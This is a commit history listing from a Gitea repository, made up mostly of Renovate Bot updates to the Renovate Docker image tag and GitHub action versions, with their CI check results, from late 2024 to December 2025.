612 Commits

Author SHA1 Message Date
2f48521640 Merge pull request 'Pin ghcr.io/renovatebot/renovate Docker tag to e09f710' (#106) from renovate/pin-dependencies into main
All checks were successful
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Successful in 8s
renovate / renovate (push) Successful in 24s
2025-12-20 12:42:53 +00:00
Renovate Bot
71a43b9d86 Pin ghcr.io/renovatebot/renovate Docker tag to e09f710
All checks were successful
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Successful in 8s
2025-12-20 12:42:51 +00:00
652f3a3ab5 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.64.1' (#105) from renovate/ghcr.io-renovatebot-renovate-42.x into main
All checks were successful
renovate / renovate (push) Successful in 29s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Successful in 1m6s
2025-12-20 10:54:22 +00:00
Renovate Bot
f5cfac70a0 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.64.1
All checks were successful
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Successful in 6m28s
2025-12-20 10:54:19 +00:00
00d7d7fe63 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.54.1' (#104) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
renovate / renovate (push) Failing after 1s
2025-12-15 13:36:47 +00:00
Renovate Bot
81bcb08641 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.54.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2025-12-15 13:33:21 +00:00
6bda198b25 fix: removed empty file
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 35s
renovate / renovate (push) Has been cancelled
2025-12-15 14:31:34 +01:00
1ef060faf2 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.52.3' (#103) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
renovate / renovate (push) Successful in 1m36s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-12-14 00:34:19 +00:00
Renovate Bot
991bc24549 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.52.3
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-12-14 00:34:07 +00:00
638a6ce154 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.39.1' (#102) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
renovate / renovate (push) Successful in 2m7s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-12-07 00:35:04 +00:00
Renovate Bot
758a97ac09 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.39.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-12-07 00:34:50 +00:00
94dc3182f4 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.26.11' (#101) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
renovate / renovate (push) Successful in 1m30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-30 00:33:32 +00:00
Renovate Bot
3f238b3e11 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.26.11
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-30 00:33:16 +00:00
19f448f12a Merge pull request 'chore(deps): update actions/checkout action to v6' (#100) from renovate/actions-checkout-6.x into main
Some checks failed
renovate / renovate (push) Successful in 1m28s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-23 00:33:53 +00:00
Renovate Bot
f987ac4c7b chore(deps): update actions/checkout action to v6
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-23 00:33:48 +00:00
90ebe7747f Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.19.3' (#99) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-11-23 00:33:13 +00:00
Renovate Bot
4b7ad3146f chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.19.3
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-23 00:32:59 +00:00
7fd2b48893 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.11.0' (#98) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
renovate / renovate (push) Failing after 34s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-16 00:18:24 +00:00
Renovate Bot
d41ef1188c chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42.11.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-16 00:18:12 +00:00
f8ce1edc37 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42' (#97) from renovate/ghcr.io-renovatebot-renovate-42.x into main
Some checks failed
renovate / renovate (push) Failing after 26s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-09 14:22:27 +00:00
Renovate Bot
8f1487209a chore(deps): update ghcr.io/renovatebot/renovate docker tag to v42
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-09 14:22:16 +00:00
56594275f4 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.173.1' (#96) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-11-09 14:21:46 +00:00
Renovate Bot
09515fd01a chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.173.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-11-09 14:21:35 +00:00
bcdb52c688 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.159.4' (#95) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 26s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-26 00:20:19 +00:00
Renovate Bot
f27af57a94 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.159.4
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-26 00:20:07 +00:00
dba5901d10 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.152.5' (#94) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 26s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-19 00:20:03 +00:00
Renovate Bot
2abd27c441 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.152.5
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-19 00:19:52 +00:00
a46996919d Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.146.0' (#93) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 22s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-12 00:19:32 +00:00
Renovate Bot
8dfed59450 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.146.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-12 00:19:21 +00:00
97bfcbd331 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.135.4' (#92) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 17s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-05 00:18:39 +00:00
Renovate Bot
43d3ad0b6e chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.135.4
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-10-05 00:18:26 +00:00
d746c36823 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.131.8' (#91) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 22s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-28 00:19:53 +00:00
Renovate Bot
5476d5e449 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.131.8
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-28 00:19:42 +00:00
118de01514 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.121.4' (#90) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 33s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-21 00:26:15 +00:00
Renovate Bot
d277d93a94 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.121.4
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-21 00:26:04 +00:00
5d783dafef Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.113.2' (#89) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 23s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-14 00:24:15 +00:00
Renovate Bot
4277dd96fa chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.113.2
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-14 00:24:04 +00:00
68d5e35af2 Merge pull request 'chore(deps): update https://github.com/actions/setup-python action to v6' (#88) from renovate/https-github.com-actions-setup-python-6.x into main
Some checks failed
renovate / renovate (push) Failing after 32s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-07 00:20:45 +00:00
Renovate Bot
2874a1fe65 chore(deps): update https://github.com/actions/setup-python action to v6
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-07 00:20:41 +00:00
ec6aa85f3d Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.97.7' (#87) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-09-07 00:20:11 +00:00
Renovate Bot
d2e4110a7b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.97.7
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-09-07 00:20:00 +00:00
eee00331cd Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.91.1' (#86) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-31 00:22:17 +00:00
Renovate Bot
a04e5c76a6 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.91.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-31 00:22:06 +00:00
d8c6629f15 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.82.6' (#85) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Failing after 31s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-24 00:21:00 +00:00
Renovate Bot
30e4997739 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.82.6
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-24 00:20:48 +00:00
8c1aa712b7 Merge pull request 'chore(deps): update actions/checkout action to v5' (#84) from renovate/actions-checkout-5.x into main
Some checks failed
renovate / renovate (push) Failing after 33s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-17 00:36:52 +00:00
Renovate Bot
1dc93bdc08 chore(deps): update actions/checkout action to v5
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-17 00:36:48 +00:00
526961a919 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.76.0' (#83) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-08-17 00:36:15 +00:00
Renovate Bot
a6da0c8dfe chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.76.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-17 00:36:01 +00:00
b33b73799f Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.60.3' (#82) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-10 00:40:24 +00:00
Renovate Bot
b76237ee88 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.60.3
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-10 00:40:12 +00:00
74ca39974a Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.51.0' (#81) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m36s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-03 00:36:14 +00:00
Renovate Bot
941e8a6461 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.51.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-08-03 00:36:01 +00:00
098b2e9995 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.45.0' (#80) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m21s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-29 09:26:11 +00:00
Renovate Bot
aa5b010722 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.45.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-29 09:23:24 +00:00
327c181210 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.43.7' (#79) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-07-29 05:54:12 +00:00
Renovate Bot
f25b672152 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.43.7
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-29 05:54:00 +00:00
a078b89b9d Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.43.5' (#78) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m40s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-27 00:19:50 +00:00
Renovate Bot
236ea50746 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.43.5
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-27 00:19:39 +00:00
c730758fd9 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.40.0' (#77) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m40s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-20 00:23:24 +00:00
Renovate Bot
9278f331af chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.40.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-20 00:23:12 +00:00
57c14c88be Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.31.1' (#76) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m15s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-13 02:05:20 +00:00
Renovate Bot
15ddbb710e chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.31.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-13 02:05:09 +00:00
6e6a42b6cb Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.23.0' (#75) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
renovate / renovate (push) Successful in 2m30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-06 09:28:33 +00:00
Renovate Bot
34df1eb3eb chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.23.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-06 09:26:07 +00:00
8615e97bff Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.21.4' (#74) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-07-06 06:55:50 +00:00
Renovate Bot
53d2c9226b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.21.4
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-06 06:55:40 +00:00
18d2e28651 Merge pull request 'chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.21.3' (#73) from renovate/ghcr.io-renovatebot-renovate-41.x into main
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-07-06 04:50:23 +00:00
Renovate Bot
f8d4255bbd chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.21.3
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-07-06 04:48:00 +00:00
Renovate Bot
71257fb214 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.21.2
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-07-06 00:11:04 +00:00
Renovate Bot
2198c571ed chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.17.0
Some checks failed
renovate / renovate (push) Successful in 2m17s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-29 10:15:10 +00:00
Renovate Bot
2e379511f4 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.16.3
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-29 09:13:26 +00:00
Renovate Bot
fa25cb7f0d chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.16.2
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-29 06:49:53 +00:00
Renovate Bot
698ec453e3 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.16.1
Some checks failed
renovate / renovate (push) Successful in 2m10s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-29 00:11:54 +00:00
Renovate Bot
93e99bc63e chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41.1.4
Some checks failed
renovate / renovate (push) Successful in 2m11s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-22 04:52:09 +00:00
Renovate Bot
71f0785250 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v41
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-22 00:18:30 +00:00
Renovate Bot
e1100f4ba4 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.62.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-22 00:17:46 +00:00
Renovate Bot
439727f7a1 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.56.0
Some checks failed
renovate / renovate (push) Successful in 2m33s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-15 13:17:41 +00:00
Renovate Bot
fe8c6bff46 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.55.2
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-15 09:15:36 +00:00
Renovate Bot
5c505145e9 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.55.1
Some checks failed
renovate / renovate (push) Successful in 2m48s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-15 00:41:07 +00:00
Renovate Bot
e43a51bb4b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.48.4
Some checks failed
renovate / renovate (push) Successful in 2m28s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-08 09:08:07 +00:00
Renovate Bot
bd68188183 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.48.3
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-08 05:01:08 +00:00
Renovate Bot
a7c7a2c59c chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.48.1
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-06-08 00:38:23 +00:00
Renovate Bot
e45ee635ff chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.36.8
Some checks failed
renovate / renovate (push) Successful in 1m30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-06-01 00:33:07 +00:00
Renovate Bot
98c05db7f7 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.29.1
Some checks failed
renovate / renovate (push) Successful in 1m25s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-05-25 00:22:25 +00:00
Renovate Bot
694a20f054 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.14.4
Some checks failed
renovate / renovate (push) Successful in 1m38s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-05-18 09:04:12 +00:00
Renovate Bot
cd8aef351b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.14.3
Some checks failed
renovate / renovate (push) Successful in 1m32s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-05-18 01:23:42 +00:00
Renovate Bot
c4adf6bfcb chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40.11.3
Some checks failed
renovate / renovate (push) Successful in 1m57s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-05-11 01:24:00 +00:00
Renovate Bot
73dae564ce chore(deps): update ghcr.io/renovatebot/renovate docker tag to v40
Some checks failed
renovate / renovate (push) Successful in 1m52s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-05-04 01:20:11 +00:00
Renovate Bot
3ca0ad098e chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.264.0
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
renovate / renovate (push) Has been cancelled
2025-05-04 01:19:32 +00:00
Renovate Bot
2cac03d931 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.259.0
Some checks failed
renovate / renovate (push) Successful in 1m29s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-04-27 01:12:51 +00:00
Renovate Bot
bda2be0101 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.252.0
Some checks failed
renovate / renovate (push) Successful in 1m26s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-04-20 08:52:20 +00:00
Renovate Bot
9eb1471486 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.211.1
Some checks failed
renovate / renovate (push) Successful in 1m25s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-03-23 01:07:32 +00:00
Renovate Bot
bf2adbfa25 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.202.0
Some checks failed
renovate / renovate (push) Successful in 30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-03-16 00:18:05 +00:00
Renovate Bot
3d6615e604 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.191.1
Some checks failed
renovate / renovate (push) Successful in 20s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-03-09 00:17:24 +00:00
Renovate Bot
1d5e6e3179 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.185.0
Some checks failed
renovate / renovate (push) Successful in 1m45s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-03-02 00:18:40 +00:00
Renovate Bot
8b0bd3e241 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.177.0
Some checks failed
renovate / renovate (push) Successful in 1m30s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-02-23 01:09:19 +00:00
Renovate Bot
c842b88fbc chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.170.3
Some checks failed
renovate / renovate (push) Successful in 1m25s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-02-16 01:05:23 +00:00
Renovate Bot
ed2253f59f chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.170.1
Some checks failed
renovate / renovate (push) Successful in 2m20s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-02-14 19:18:11 +00:00
2387ef6642 fix: remove webhook
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Has been cancelled
2025-02-14 20:16:20 +01:00
Renovate Bot
2d068015ba chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.164.0
Some checks failed
renovate / renovate (push) Successful in 1m34s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-02-09 01:17:08 +00:00
Renovate Bot
460002179b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.156.0
Some checks failed
renovate / renovate (push) Successful in 1m21s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-02-02 00:31:57 +00:00
Renovate Bot
c33a524fb8 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.133.4
Some checks failed
renovate / renovate (push) Successful in 1m28s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-01-26 00:32:10 +00:00
Renovate Bot
7a758159bd chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.116.0
Some checks failed
renovate / renovate (push) Successful in 1m26s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-01-19 00:30:20 +00:00
Renovate Bot
0e7041fa95 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.105.1
Some checks failed
renovate / renovate (push) Successful in 1m21s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-01-12 00:31:59 +00:00
Renovate Bot
b474daff8b chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.90.4
Some checks failed
renovate / renovate (push) Successful in 26s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-01-05 00:10:10 +00:00
Renovate Bot
2b3b329318 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.90.2
Some checks failed
renovate / renovate (push) Successful in 1m25s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2025-01-03 03:54:28 +00:00
Renovate Bot
c327371114 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.84.0
Some checks failed
renovate / renovate (push) Successful in 1m17s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-12-29 00:36:49 +00:00
Renovate Bot
892c28c5ed chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.80.0
Some checks failed
renovate / renovate (push) Successful in 1m27s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-12-22 00:31:21 +00:00
Renovate Bot
8e8346fae5 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.69.1
Some checks failed
renovate / renovate (push) Successful in 1m21s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-12-15 00:31:09 +00:00
Renovate Bot
e06f53bbf2 chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.66.0
Some checks are pending
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Successful in 1m19s
2024-12-14 06:34:10 +00:00
a8780a9785 feat(doc): Add mkdocs site + tools
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Waiting to run
renovate / renovate (push) Has been cancelled
2024-12-14 07:32:26 +01:00
Renovate Bot
8df7b01f1f chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.57.1
Some checks failed
renovate / renovate (push) Successful in 1m21s
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Has been cancelled
2024-12-08 00:35:27 +00:00
Renovate Bot
b685880fca chore(deps): update ghcr.io/renovatebot/renovate docker tag to v39.42.2
Some checks failed
